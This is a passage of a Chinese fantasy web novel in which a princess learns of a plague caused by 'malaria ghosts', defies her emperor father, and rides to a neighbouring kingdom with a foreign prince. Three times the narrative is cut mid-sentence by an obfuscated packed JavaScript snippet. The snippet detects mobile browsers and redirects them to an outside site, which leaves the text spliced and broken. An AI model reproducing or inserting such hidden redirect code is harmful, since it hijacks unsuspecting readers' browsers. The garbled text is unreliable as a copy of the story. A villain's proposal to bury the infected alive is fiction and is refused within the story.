江梅棠周身浸着股拒人千里的寒意,此时尤为明显。周昭觉得站得近些便会被剐掉一层皮,她不知要不要继续往下讲,有些茫然地看着江梅棠。 对方接着她的话开了口,声音一如既往的平静:“后来成祖皇帝即位,一生南征北伐,再度将分崩离析的周朝国土统一。” “但成祖幼年即位,早年手上无权,权臣虎视眈眈,爆发藩相之乱。他弱冠之年以雷霆手腕斩杀藩相,族人流放北疆。那地方战火烧了多年,据传生出诸多邪祟,北疆荒漠那些早已被黄沙掩埋的小国,统称三苗绝境。” “成祖之后,周朝军队撤回北疆边关以内,不再驻扎三苗,三苗渐渐地便从大周的版图分离出去。三苗,实则说的是三鬼:魍魉,魇鬼,疟鬼。那地方瘴气遍地,寸草不生。魍魉食人肝脏,魇鬼乱人心智,这疟鬼,则引发瘟疫。” 周昭惊道:“师父是说,瘟疫是疟鬼引起的?” “不错。疟鬼身上生疟虫,与人靠近时,会神不知鬼不觉将疟虫寄生于人体,等到疟虫长大吸人精血,便飞回疟鬼身边供其食用。被疟虫寄生的,先是发热、头晕,再是身上长满淤青,最后五脏全空神仙难救。疟鬼和宿主离得越近,疟虫便长得越快。等疟虫完全成熟,便会一生二、二生三,从一个人传染到两个人,起初和常见瘟疫十分相像,故难以发现。” 周昭不禁一阵恶寒,问道:“可疟鬼不是只有三苗才有,怎会来我大周?三苗跟大周隔着茫茫大海,除非......” 除非走北疆。 无妄海位于大周以东,北至北疆荒原,南至南疆岭夏。周昭的二哥晋王就是驻守辽东海疆,疟虫虽然不能从海上来,但如果绕一圈从北疆来,也不是不可能。 北疆历朝历代都是最难管的一块地方,大周的邻居——草原上的鞑子八大部落——常常骚扰边境百姓。当年成祖皇帝率领大周铁骑将鞑子赶回天山老家,北边安定了很多年,如今又开始隔三岔五找事,难缠得很。 周昭跟着江梅棠这么些年,大周的版图早就刻在她脑海里,说道:“鞑子八大部落听说年前选出了一个察罕图可汗,如果真是鞑子干的,我饶不了他们!” 江梅棠蹙眉道:“明鸢,师父平日怎么教你的?” 周昭慌忙低头:“师父说,凡事不能只看表面,知全貌才能懂因果。” “还有呢?” “还说……静而克欲,明而见智。” 江梅棠缓缓点头:“眼下最重要的,是要控制瘟疫,根除疟虫,只有一个办法。” “什么办法?” “抓疟鬼。” “抓疟鬼?那岂不是更难控制?” “不然。”江梅棠解释道,“疟虫只听命于疟鬼,只有将疟鬼抓来逼其收回疟虫,才能阻止瘟疫蔓延。陛下和殿下所忧一样,觉得此法过于凶险,迟迟不肯同意。” 周昭听江梅棠这么一说,思索道:“徒儿去劝劝父皇。” “……也好,但要快些。” “好。”周昭突然注意到桌案上摆着一个红色琉璃瓶,十分好看,不由问道,“师父,那是什么?” 江梅棠将瓶子拿起来:“疟虫。” 周昭这才看出原来不是瓶子是红色的,而是里面装了几只十分细小、发着红光的小虫子。 她担忧道:“师父,你拿着这东西......会不会有危险?” “你知道这是哪儿来的吗?”江梅棠看着她道,“这是从二皇子殿下身体里取出来的。” 周昭心口一滞,恍然间,好似透过这些疟虫看见二哥那张年轻的脸。 江梅棠若有所思道:“疟虫飞的方向,就是疟鬼的方向。” 他将琉璃瓶放回原处,又道:“明鸢,有件事你可知道了?黎国皇后头风病愈发严重,前日已修书我朝,希望谢景殿下回去一趟。” 周昭惊讶道:“不知,父皇同意了吗?” 江梅棠道:“陛下不准。” 周朝时疫一事想必早已传开,可天子若是放人,就会反过来坐实了时疫已到了难以控制的地步。 周昭也知此事难办,叹道:“长淮知道吗?” “他不能知道,殿下。”江梅棠道,“皇子名义上是来周朝听学,一旦朝野动乱,便……为质。” 周昭若有若无地嗯了一声,心情愈发沉闷,等她从国师府离开时,江梅棠说的两件事一直在她心头萦绕不去。 她自然是无条件信任江梅棠,但远赴三苗国抓疟鬼需要天子首肯,更何况此事费时费力,不大好办。 再是长淮母亲病重,她不知道还好,今日知道了,还要她刻意隐瞒,更加难办。 翌日清晨,周昭便去找宣庆帝,谁知皇帝一反常态避而不见。 周昭执拗,站在殿外等了一个时辰,才被召入殿中。 她尚未开口,宣庆帝便道:“皇儿,是为时疫而来?” “……”周昭应道,“父皇,儿臣有两件事想求父皇。” “谢景的事,皇儿不必再提。”宣庆帝何等敏锐,早就猜到她为何事而来。他向后仰靠在明黄的龙椅上,面容威仪让人不敢直视,“若是时疫,皇儿是为你师父来的吧?” “不,”周昭道,“明鸢是为天下百姓而来,恳请父皇下令,抓疟鬼。” “胡闹。”宣庆帝略斥了她一声,却不算严厉,“三苗国是什么地方?那种脏东西岂能流入我大周?” “可眼下时疫难治,仅此一法。父皇,国师为人您一向清楚,他说的断然不会有假啊!” 宣庆帝道:“国师不会骗朕,朕知道。但此法凶险,万一抓来的邪物不能止住时疫,反而祸乱百姓,如何是好?” “父皇放心,还有师父,他一定有办法的。” “好了!”宣庆帝语气放柔和了些,“皇儿,再住几天就随你师父上山去罢。” “可是——” “不必说了,朕心意已决,退下罢。” 宣庆帝连连摆手,有些头痛地扶额。 周昭本欲再问问长淮的事是否有转圜余地,见状只好退下。她不明白父皇为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16514886|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得如此谨慎,当年圣祖皇帝也曾斩杀妖魔,如今不过是疟鬼,难道比开天辟地的妖魔更邪吗? 周昭心烦意乱,本想去找长淮,又不知该不该告诉他母妃一事,便自去园中舞剑。 剑势迫人,她越舞越急,恨不得将眼前所有的东西都劈干净才好。 突然一道掌风自她鬓边袭来,周昭反手刺出,看清是谁后又堪堪收住剑芒。 那剑锋离咽喉不过二寸,来人面不改色,眉眼似笑非笑道:“小殿下,何必这么急躁。” 周昭放下剑,无奈道:“十六,你为何总是悄莫声地出现,万一伤着怎么好。” 她心情不佳,警惕防范之心也少了大半。 萧十六还是穿着那身粗布麻衣,闻言凤眼微挑,不知是真心还是假意,总之有些阴阳怪气道:“小殿下,你可真是菩萨心肠,难道忘了你小时候在藏书阁,险些被我掐死,你不记恨我吗?” 周昭摇摇头,诚实道:“最多有些好奇,记恨谈不上。” 周昭这话并非虚言,那时对方就是个半大点儿的孩子,难道自己还要耿耿于怀这么多年吗? 萧十六似乎没料到她这么说,慢悠悠道:“小殿下真是个奇怪的人。作为回报,我可以满足你的好奇。” 周昭还是摇头:“不必了。英雄不问出路,只当交个朋友。” “朋友?” 萧十六咂摸着这两个字,他站在阴影处,眼神忽明忽暗,正当周昭以为他要放下戒备时——不错,周昭见他第一面时,便分辨出了这副残忍暴虐的皮囊下裹着满身来路不明的戒备——对方突然厌恶地皱眉,冷冰冰地将原话摔回她脸上:“不必了,我这人独来独往惯了。” 周昭越是见他这样,越想将他从那团形单影只的阴影里拉出来。 她生性如朝阳明月,尚且处于少年人满腔热血整日不知洒向何处的年纪,只有在江梅棠面前才克制守礼些。 算来这是她第三回见萧十六,但周昭却笃定这人没有想再伤她的意思。若真要杀她,萧十六有无数次下手的机会,何必等到现在? 周昭从前在山下捡过一只快冻死的小狼狗,等她费了好大劲儿终于让它活过来,那小东西睁眼便咬在周昭左手上,至今还留着一个模糊的伤疤。但养了一段时间便跟她亲近了。 周昭什么都不缺,底气这种东西更是生来就有,不知不觉间将萧十六跟那只小狼狗比较,道:“好吧,那请问独来独往的十六,找我有什么事儿呢?” 她心中烦乱,没心思跟萧十六弯弯绕,压根没注意自己完全是用哄小孩儿的语气在跟他讲话,对方露出一个堪比白日踩到屎的古怪表情,道:“你不问我是怎么进宫来的?” “今日父皇请来了苍界山的高僧,你是跟他们来的吧。”周昭很周到地给了萧十六一个台阶下,二人一前一后去园子旁边的凉亭坐下,周昭接着说道:“宫里的事儿传得快,你提前知道没什么紧要。” 她说的是那日萧十六上山,周昭亲自斟了杯茶,放在对方面前,问出口的却是另一件事儿。 “我不问你的来路,也不问你为何会找到我。我只想知道,你那日所说如何破局,棋盘是皇城,棋局是时疫,对吗?” 29. 莲花 萧十六没急着回答,端起茶一饮而尽。 周昭心道:“茶为上品,贵族唯爱饮茶,重在细品,绝不会像他这样牛饮。” 接着又想:“……我怎么能观其貌断其人,该打。” 周昭正为自己不经意存了试探的心思感到羞愧,对方将茶杯放下,慢慢道:“小殿下聪慧。” “棋子呢?”周昭追问。 “人。”萧十六道,“那些染了时疫的人。” 对方又倒了杯茶,指尖蘸了蘸茶水,在桌上横七竖八画了个简陋的棋盘,又捡起两块石子,一块推到周昭面前,一块留在棋盘上,解释道:“执黑子者疟鬼,执白子者殿下,眼下黑子侵吞白子,小殿下如何破局?” 周昭挑了挑眉,意思你连疟鬼也知道。 萧十六哼了一声,不以为然道:“那种腌臜东西。” 周昭只当他修道见多识广,半晌,叹了一声,生平第一次露出颓丧的表情:“我破不了。” “所以我来帮你。” “你帮我?” “小殿下,你师父只说了一半真话,我来是为了告诉你另一半,这样才有意思。” 周昭不解:“什么?” “抓疟鬼确实能根除疟虫,但不是唯一之法。” “你有别的法子?” 一阵清风拂过小池,这是一方温泉水,已有早莲陆续绽放,恰好一枝红白待放的莲花从池边探出来,正好挨蹭到少年肩膀。 虽衣衫简陋,却人面莲花相映,只是他面容过于冷峻,将那点儿春光里的赏心悦目都杀得荡然无存。 他不知喜怒,淡淡道:“殿下心情烦躁舞剑消愁,却还有惜花怜木之心。” 萧十六是说周昭舞剑未伤及一花一木,可说着,他便将这朵幼莲毫不犹豫地折断了。 周昭轻轻嗳了一声,露珠滚落在指尖,又掉进脚下的泥土里。 萧十六看向她:“只怕我说了,小殿下不肯同意。” “说来听听。” “准备一个万人坑,将所有染病之人全部活埋。” “这就是你的法子?”周昭摇摇头,面露失望。 萧十六轻描淡写道:“管他是普通疫病还是疟虫,只要将源头杀死,怎么会继续传染?这难道不是最简单的办法吗?” “……那可是几千条活生生的性命。” “那又如何。”萧十六把玩着手中莲花,“都是将死之人,死了多干净。” 周昭心下震惊,眼前人明明是十几岁的少年模样,却从他眼中看不到一丝作为人的情感。兴许在他看来,人也好,猫也罢,都和这莲花一般无二。 萧十六向后仰靠在椅背上,双目如古井深潭,压着深不见底取之不竭的戾气。 “小殿下这样看着我做什么?我只是来告诉你另一半真话,如何选择,在于殿下自己。你以为,你师父和皇帝不知道这个办法吗?他们都知道,所以才有恃无恐,等事态真到控制不住的那一天,所有染病的人都得死。不光染病之人,还有跟他们接触过的,无一例外。” “不对。”周昭下意识否认道,“师父是想去抓疟鬼。” 萧十六反驳道:“不是说你师父无所不能,那他为何不去?” "师父是我大周国师,父皇无令,怎敢私动。" “话我说完了。”萧十六对她的理由不予置评。 周昭余光瞥见他手中那朵莲花,花无根而死,已呈衰败之相。她突然有些好奇,是什么让这个人在少年时就心冷如此。 “小殿下,你知不知道莲花是没有花心的。” “嗯?我未曾听过。” “无心多好,寒暑春秋,如云烟尽散。我听你师父天天讲道,估计他也是个无心之人。” 周昭下意识便想反驳,话到嘴边却转了个弯,微笑道:“人间冷暖苦乐,众生活的便是这寒暑春秋,若皆散去了,那多无趣。我想师父该不是那无趣之人,十六,你也一样。” 雨后初霁,周昭一身白衣,双目黑得发亮。萧十六坐累了似的站起来:“那小殿下可要吃些苦了。” 敢情冷暖苦乐四个字,这人偏只听进去一个苦字。 萧十六似乎是想将揉烂了的花丢掉,不知为何又没丢,转而向天空抛上去又接住,说道:“小殿下,手给我。” 周昭纳闷道:“做什么......” 她伸出手,萧十六轻轻瞥了一眼周昭手上那道模糊的疤,将莲花轻放在她手心。 眨眼间,那朵花却不见了,一个淡淡的莲花印记出现在她手腕内侧,萧十六见周昭惊讶,挑眉道:“小把戏罢了,我将这花赠于殿下,等你想找我的时候,或许用得到。” 他说完也不管周昭听没听懂,起身走了。 这边萧十六刚走,谢景便满身火气地冲进昭阳殿,周昭见他脸色,猜到他大概已知晓黎国传来的消息。 “周昭!” 整个大周恐怕也难找出几个人这么称呼她了,谢景大步流星地向她走来,怒道:“你说气不气人!” 周昭问道:“怎么了?” “我听说黎国来了使臣便想去看看,结果到了驿馆,竟说时疫期间不能进去!”他气鼓鼓地坐下,正要倒茶,见桌上有用过的杯子,不由问道,“有人来过?” 周昭嗯了一声:“萧十六。” 谢景蹙眉,不解道:“他来做什么?又是怎么进来的?” 周昭重新取了只茶杯倒满,她心中压着谢景母后病重那件事儿,心不在焉,话没听进去多少,将茶杯往前推了推,道:“喝茶。” 谢景接过茶喝了一口:“你那朋友有些古怪,上回也是,他一早就知道宫里出事了。他到底找你做什么?” “送了我一朵莲花。”周昭一五一十道,“喏,这个就是。” 谢景腾得站起来,瞪大眼睛道:“你是不是傻?莲花长土里,不长你那一身金贵的肉上!这万一是什么巫术,怎么得了?” 他抓起周昭的手腕便用袖子擦,擦了两下那莲花印记真的消失不见了,谢景才松了口气:“我说公主殿下,你能不能凡事留个心眼儿。” 周昭抽回手,不以为然道:“长淮,你太紧张了。” “算了说回正事儿。”谢景往前凑了凑,“阿昭,你能不能跟驿馆说一声,让我进去看看,再不济让他们出来也行啊。” 周昭心道怕不是他们不愿意出来,而是不能出来,她犹豫片刻,想到刚刚失去至亲的自己,实在不愿谢景像她这样留下遗憾。 再说她年岁尚轻,一颗拳头大的心装不下那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537929|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多的朝堂利害,于是下定决心道:“.....长淮,我有件事儿要跟你说。” “嗯?”谢景放下茶,忽而反应过来,狗鼻子不知该说是敏锐还是太迟钝,终于嗅到了从他踏进昭阳殿便跟平日不大一样的气氛,“不对,你是不是知道驿馆为何不让我进去?黎国出事了?” “不,”周昭连忙否认,“不是黎国......是你母妃病了,想让你回去瞧瞧。” “什么?!”谢景站起来,急道,“母妃的病是不是很严重?不然不会派人来周朝,可驿馆的人......”他看向周昭,语气不大好,“阿昭,你是不是早就知道了?是不是陛下不放我走,驿馆的人才不让我进去?” “我昨日知道的......” “昨日?那你为何不早告诉我!” “我......对不起。” “罢罢罢!”谢景颓丧坐下,“是我太心急了。” “长淮,你先别急,我陪你去驿馆看看情况,好吗?” 谢景忙握住她的手:“好阿昭,我们现在就去!” 谢景急匆匆地拉扯着周昭一同往驿馆方向去,谁料半路撞见一人。 虽是早春乍暖还寒,却也没有冬日那样沁骨的冷了,可江梅棠还是裹着厚厚的大氅,上好的白狐毛将他的面容衬托得愈发清冷,人如其名,好似雪夜江边寒梅,与这盛都繁华锦绣十里不大相称。 若说谢景天不怕地不怕,最是怕他这位师父,心里又藏着事儿,一时愣在原地,竟连礼数也忘了,慌里慌张地问候道:“师、师父,您怎么在这儿?” 江梅棠的视线不经意间下移,落在谢景抓着周昭的手腕上,彼时情急,虽隔着衣料,但一个他国皇子,拉着皇女在深宫疾驰实在不妥。 虽不妥,他却没有点破。 谢景在这件事上还算机敏,忙松开周昭,磕磕巴巴道:“师父,我们是去、去......” “去驿馆。”周昭不打算能瞒过师父,既然撞见了不如说破,这是她第一次忤逆师父的意思,难免心虚。 出乎意料的是,江梅棠似乎并未对这件事表现出惊讶,他只是一如既往地淡淡哦了一声。 一阵寒风吹来,他那双不沾阳春水的十指把身上的衣服裹紧了些,问道:“长淮,你的母妃病了,你打算如何?” 他没有怪周昭未曾遵守约定,反而就这么堂而皇之地将隐藏在皇城的秘密说了出来。 谢景有些愕然,不过转念一想,既然阿昭知道,作为国师的师父肯定也会知道了。到头来兜兜转转,竟只有为人子的他知道的最晚。 谢景心头泛起苦涩,道:“我要回黎国。” “若是陛下不准?” 谢景心一横,回答道:“那我也要回去!” 江梅棠蹙了蹙好看的眉毛:“明鸢,现在知道我为什么让你暂且瞒着长淮了吗?” 这话是对周昭说的,谢景惊诧道:“原是师父……” “你性子急躁,若是这回惹出事儿,师父也兜不住。” “师父……”谢景低下头,想起从前每每犯错都是师父护着他,可如今母妃病重,他难道能装作不知吗? 江梅棠似乎很轻地叹了一声,拿出一封信来,递给谢景:“这是黎国国主的信。” 30. 故土 谢景忙接过去,脸色愈发难看,等他看完了,脑袋无力地垂下去,喃喃道:“……母亲病得很严重。” “长淮……”周昭一时不知该说些什么话来安慰他,她刚经历过至亲离世之痛,最能感同身受。 谢景突然跪在江梅棠面前,哽咽道:“师父,能不能请您跟陛下求个情儿,放我回去再见母妃一面。” 江梅棠没有扶他起来,从他拿出信,周昭便知此事已成定局。师父必已求过情,才私下将这信交给谢景。 “我还有事,先进宫了。”江梅棠说完这句,便绕过谢景往前走了。 周昭知道他从来不应没把握的事,扶起谢景,劝道:“你别怪师父。” “怎么会?”谢景苦涩道,“师父最是刀子嘴豆腐心的一个人。” 谢景没再说什么,手里的那份信被他捏得起了褶皱,了无生气地拍了拍周昭的肩膀:“阿昭,不必陪我去驿馆了,我想一个人静静。” 皇宫有宫禁,凡进出之人,必得出示证明身份的腰牌,近日因时疫愈发严格。 此刻亥时将至,宫门戒严,一个全身从头到脚蒙得严严实实的人在宫门口鬼鬼祟祟,似是犹豫不决。 他脚步踟蹰,正下定决心,却被突然出现在眼前的一张脸骇了一跳,整个人犹如公鸡见炮仗般往后弹了弹。 周昭眉眼一弯:“怎么?我们堂堂谢景殿下,竟打扮成这副模样。” 蒙面人把周昭拉到一旁,露出那双黑亮的眼睛,他悄声道:“嘘!阿昭你干嘛!吓死我了!” “我就猜到你不会安心待在宫里,所以来这里逮你。” “连你也觉得我不该走?”谢景泄气道,他确实打算偷偷溜出宫去,尽管也知道这么干不妥当,但他管不了那么多了。 周昭道:“如果要走,也不该是今晚。” “有什么分别?” “出了这道宫门,还有城门,出了城门,还有一路关卡,你拿着腰牌有什么用?”周昭道,“况且今日出宫人多眼杂,不如等明日我们回了苍界山再走。” “我们?”谢景听出她话中似有别的意味。 周昭道:“我和你一起走。” 谢景眼中露出惊诧:“周昭你疯啦!你跟我去干什么?难不成……你看上我了?!” ……长淮哪都好,就是缺根筋。 “本来我出逃就是大罪,若是再拐走你,你父皇就算把黎国翻个底朝天,也要把我揪出来杀掉,不不不!不行不行!”谢景光是想想都觉得后怕,他还没娶妻生子,还不想这么早死。 “什么乱七八糟的?” 周昭气极反笑,解释道:“一来,我陪你去就算被父皇发现也不至于太糟,二来嘛……” 她将疟鬼一事删繁就简跟谢景说了,谁知谢景更为惊恐道:“你要去三苗国抓疟鬼?!” “不错。” “周昭你真是疯了吧!”谢景心情难以平复,他本以为自己就够大胆了,谁知道眼前这位金枝玉叶的公主殿下比他还大胆,竟要跑到那么远的地方去抓鬼。 “我先陪你回黎国,你再陪我去三苗国,届时时疫控制住了,父皇不会怪我们的,怎么样?” “……真有你的。”谢景竟有些被她说服,勉强同意先等明日回苍界山再做打算。 江梅棠要留在宫中帮宣庆帝处理时疫一事,故而此次回苍界山,只有周昭和谢景二人。 翌日一早,天刚蒙蒙亮,周昭便出现在谢景殿前。 她支开宫人:“长淮,回去之前,你先陪我去拿样东西。” “什么东西?” 周昭神神秘秘道:“你跟我去就知道了。” 半柱香后,当谢景趴在国师府屋顶时,真的很后悔答应周昭。他转过脸,指了指大门,生无可恋道:“阿昭,这就是你说的拿东西?” 周昭重重点头:“抓疟鬼需要疟虫,就在师父书房。” “然后呢?” 周昭莫名其妙道:“然后我们去拿出来呀。” 谢景终于收回目光,噼里啪啦道:“那可是师父书房!我们就这么堂而皇之进去偷东西吗?” 周昭略微皱了皱鼻尖,含糊道:“也不算偷……” “确实不算,”谢景道,“我看到师父了……” 周昭:“……” 她明明算好了时间,这会儿师父都会进宫的,怎么会刚好撞上!他们硬着头皮从房顶跳下来,书房两扇门缓缓打开,露出江梅棠波澜不惊的一张脸来。 他们异口同声道:“……师父早。” “二位殿下早。” 周昭和谢景面面相觑,江梅棠转身回屋,温声道:“进来罢。” 江梅棠坐下,稍稍抬了抬眼皮:“长淮……要回黎国?” 虽是问句,却没有要问他的意思,想必师父早就算准他们今日要来。谢景只好点头,闷声闷气道:“是。” 江梅棠拿起那只装有疟虫的琉璃瓶,瓶身鲜红如血,映着他修长的手指都仿佛染上几分艳色。 “明鸢呢?” “……我陪谢景。” “哦,这样。”江梅棠的目光从琉璃瓶上移开,落在周昭脸上,似乎想一探究竟。但周昭总觉得师父已看透她心中所想,一时被那目光看得有些不自在。 “明鸢,你想好了?” 说者有意,听者有心。一语双关。 周昭抬起头,却恍惚间让她捕捉到那凝着自己的目光深处,藏着一抹难以言喻的意味。 只是一瞬,又变成自始至终那淡然如水的眼神。 她怀疑自己看错了,定定神,答道:“徒儿想好了。” 江梅棠嗯了一声,不经意地将手中的琉璃瓶放下,起身道:“时辰不早了,为师要进宫一趟,你们早些回去罢。” “是,师父。” “明鸢。”江梅棠又叫住周昭。 “怎么了,师父。”周昭回过头,只见江梅棠手中不知什么时候多了个锦囊,他将锦囊交予周昭,唇角蕴了一点儿陌生的笑意,也许是他不常笑,所以这笑便像一朵耀眼的冰花凝在嘴角,“带上这个。” “师父,这是......”周昭正要打开,江梅棠轻轻按住她的手,“至多一月。猎场就要关了。” 谢景面露疑惑,周昭却听懂了。至多一月,如果时疫不解,所有染病之人都会被处死。 江梅棠离开后,谢景问道:“阿昭,你说师父明明发现我们了,怎么……” “师父的意思你还不明白吗?”周昭拿起桌上的琉璃瓶,自言自语道,“疟虫飞的方向,就是疟鬼的方向。” “阿昭你在说什么啊?师父难道同意我回黎国了?” “不,”周昭凝着他道,“师父没有同意,我们今日亦没有来过,就连这个锦囊也不存在过,你明白了吗?” 谢景沉思片刻,恍然大悟道:“我懂了!” 江梅棠一时心软让他们离开,又将琉璃瓶留下,分明是打算睁一只眼闭一只眼,若宣扬出去反而不好。 今冬落雪之时,是周昭及笄之岁,届时她便不用在苍界山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552860|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦修了。 周昭离山之前回头再望了最后一眼,夜幕之下翠峰隐匿其中,依稀看得见山尖顶着一丛白雪,她心中很应景地生出些眷恋的不舍之情,但又想到此行责任重大,这是师父头一回交给她去办的差事,那点儿不舍顷刻又浇灌出一腔直指边疆的热血。 “驾!” 二人十分默契地扬手挥鞭,犹如两道风刃划破这白昼前最后的一点儿黑夜,纵马向东去了。 此行首要之地是黎国。黎国国都为松柏城,因城中盛产松柏,故得此名。 熙熙攘攘的人群闹市中,两个骑着高头大马的少年人格外引人瞩目。 只因黎国国风开放,此地又靠海,渔民众多,故而百姓偏爱行动方便的窄袖。再说这里地势高低不平,骑马入城并不多见。这两位少年不光骑马,还穿着一身繁复飘逸的宽袖长袍,路过的人无不像看傻子一样盯着他们瞧。 黎国这窄袖的领口虽然跟周朝相仿,也是在前胸交叉,但衣领要往下许多。马背上的少年自打入了城,只觉被迎面而来白花花的胸脯晃了眼睛,马上居高临下反倒成了掣肘,刚走了几步便面红耳赤。 身边的同伴反倒是坦荡许多,忍不住笑道:“长淮,怎地到了故国反不会骑马了。” 清风扬起遮面的斗笠,露出周昭那张风尘仆仆的脸。 谢景抱怨道:“阿昭,你快别取笑我了。” 周昭眼尖地看见一家成衣店的招牌,便提议先去换身黎国服饰。他们下了马,立刻有会做生意的瞧见这二人非富即贵,前来招揽。 周昭跟谢景好容易从商贩手里脱身,迎面又见一只木头飞鸟明晃晃地从他们眼前飞过去。 那两扇活灵活现的翅膀勾着两个人四只眼睛往市井深处看,只见卖符的捉妖的,领着抓妖师满大街办差的......一眼的繁华热闹望不到底。 周昭感叹道:“待在山上一隅之地,竟不知我大周之外有如此之景。” 其实来的路上周昭便发现这一路遇到不少道观,周昭看得新奇,一面想着苍界山的师父是修的什么道法,一面又想周朝将修道之路堵得这么死,兴许并不是件好事。 世上既然有人,有鬼有妖也不足为奇。再说周朝开国皇帝不也是因为斩杀妖兽有功,才被上天选中手执神器吗? 周昭难得出来一趟,脑袋里乱七八糟的想法一大堆,突然门帘微微动了动,换好衣服的谢景像个大姑娘别别扭扭地钻出来。 周昭抿嘴一笑,赞道:“长淮,很适合你。” 谢景离家多年,连衣服都忘记怎么穿了。他本来不是很适应,听周昭这么说,不由抬起胸膛道:“那当然,本殿下......” 周昭赶紧捂住这位大爷的嘴:“小点声!” 谢景扒拉开她的手,露出一个欠揍的表情。 等到了宫门口,周昭却止步不前。再怎么说她也是周朝公主,若不明不白在黎国皇宫出现,怕是要给她那父皇气死。 谢景明白她的意思,点头道:“阿昭,那我先进去,你等等我。” 望着谢景疾驰而去的背影,周昭心中祈祷谢景母妃可千万别出什么事儿才好。她没有按照约定回到客栈,而是牵着马在皇城慢悠悠地走着。 周昭从未到过这么远的地方,故而看什么都十分新鲜。很快,一处高高的戏台子吸引了周昭的注意。 那戏台高约一丈,里外水泄不通。周昭认不出上面唱的是哪台戏,正探着脑袋好奇时,便听一个声音悠悠传来—— “这戏讲的是东华仙君飞升。” 31. 旧识 周昭偏头望去,入目是一个肤色偏黑,长相英朗的少年。 他发梢绑着几缕小辫,坐在戏台子底下的石阶上,外套随意地在腰间系了个结,望着周昭粲然一笑,左腮露出一个若隐若现的梨涡来。 周昭隔空行礼道:“多谢。” 少年哈哈大笑,从石阶上跳下来,挤过人群走到周昭面前,毫无顾忌地问道:“你是打哪儿来的小娘子?长得如此好看。” 他说着便欲伸手去揭开周昭头上的斗笠,周昭灵巧地向后一避,回礼道:“阁下又是打哪儿来?” “这个先不说。”少年若无其事地收回手,“你想看戏,我给你找个好位置,来,过来呀!” 周昭本不想去,却见少年这高嗓门一喊,引来不少人侧目,只得硬着头皮跟着他走。少年活像一只灵巧的山雀,引着周昭绕开熙熙攘攘的人群,转而往对面一家酒楼走去,那老板想必对他十分相熟,点头哈腰地带着他们上了二楼。 “宁小王爷,给您留了座儿,您楼上请。” 小王爷?周昭并不熟知黎国皇族,心想只能先等谢景回来问问。 少年从腰间摸了块银锭,十分大方地随手扔过去,酒楼老板立刻笑容堆了满脸,高声道:“谢爷赏!” 这地方确实是观戏的绝佳位置,少年得意道:“怎么样?没骗你吧。” 周昭诚恳地点评道:“确实好。” 少年摸着下巴,侃侃而谈:“东华仙君飞升前,乃月临国太子,俗名于南桑。这戏讲的是他及冠那日在回宫路上,遇到一只通体雪白的麋鹿,左右欲捕之献给他,东华不忍,将其放生的故事。” “哦,你说的,就是日后常伴东华仙君左右的那只白鹿吗?”周昭瞧那戏台子,果然有一只白鹿。 少年点点头,饶有兴致地看向周昭,说道:“你不是黎国人?” 周昭笑了笑,也不回答,只问:“就因为我没听过这场戏吗?” 周昭对东华仙君飞升之事确实知之甚少。一来她久居苍界山不曾接触,二来周朝并不鼓励修仙之道,有关书籍甚少。 少年揶揄道:“黎国可没有像你这样白的女孩子。” 周昭有些不大好意思,少年嘻嘻笑道:“你知道东华仙君在何处飞升吗?澹溪涧。”他抬手一指:“就在此处向北八百里。” 顺着少年手指方向望去,那里重峦叠嶂,翠意生生,周昭疑惑道:“东华仙君不是月临国人士吗?怎么会在黎国飞升?” “你还真是一点儿都不知道呢。” 这时小二端着酒菜上来,很快摆了一桌,少年招呼她吃,又耐心解释道:“澹溪涧原本是月临不错,但月临被风沙掩埋后,那地方后来慢慢成了黎国地界,现在又叫鸣幽山。” “原来如此。” 黎国靠近古国月临,因此民间流传有关东华仙君的故事颇多,像周昭今日撞见的不过是戏折子里的一小段罢了。 “你怎的不吃?”少年一边吃肉,一边往周昭面前的盘子里夹了许多。周昭谢过他,执箸尝了一口,果然别有一番滋味。 她用饭时除了斗笠,那少年竟有些看呆了,目光黏在她身上,自言自语道:“我天,仙子不过如此。” 周昭正尴尬不知如何答话,少年察觉自己鲁莽,举杯向她赔罪道:“小娘子莫恼,我原是有感而发,失礼,失礼。” 周昭如实道:“抱歉,我实在是不会饮酒。” 少年满饮此杯,闻言哈哈大笑。 周昭一脸茫然:“我说错什么话了吗?” “没,没有。台上美酒佳肴,台下妙音入耳,我们却在此失礼失礼,抱歉抱歉,你不觉得很好笑吗?” 周昭微微一笑,心道这倒是位性情中人。 少年笑够了,将他腰间系的衣服解开穿好,随后说道:“我叫宁啻,你呢?” 周昭略一思索,答道:“祝鸢。” “祝鸢......”宁啻默念道,“我记下了。” 周昭平白吃了顿饭,二人相谈还算投机,周昭总觉得如果谢景在黎国长大,就会是眼前这副肆意模样,因此心中不由亲近许多。 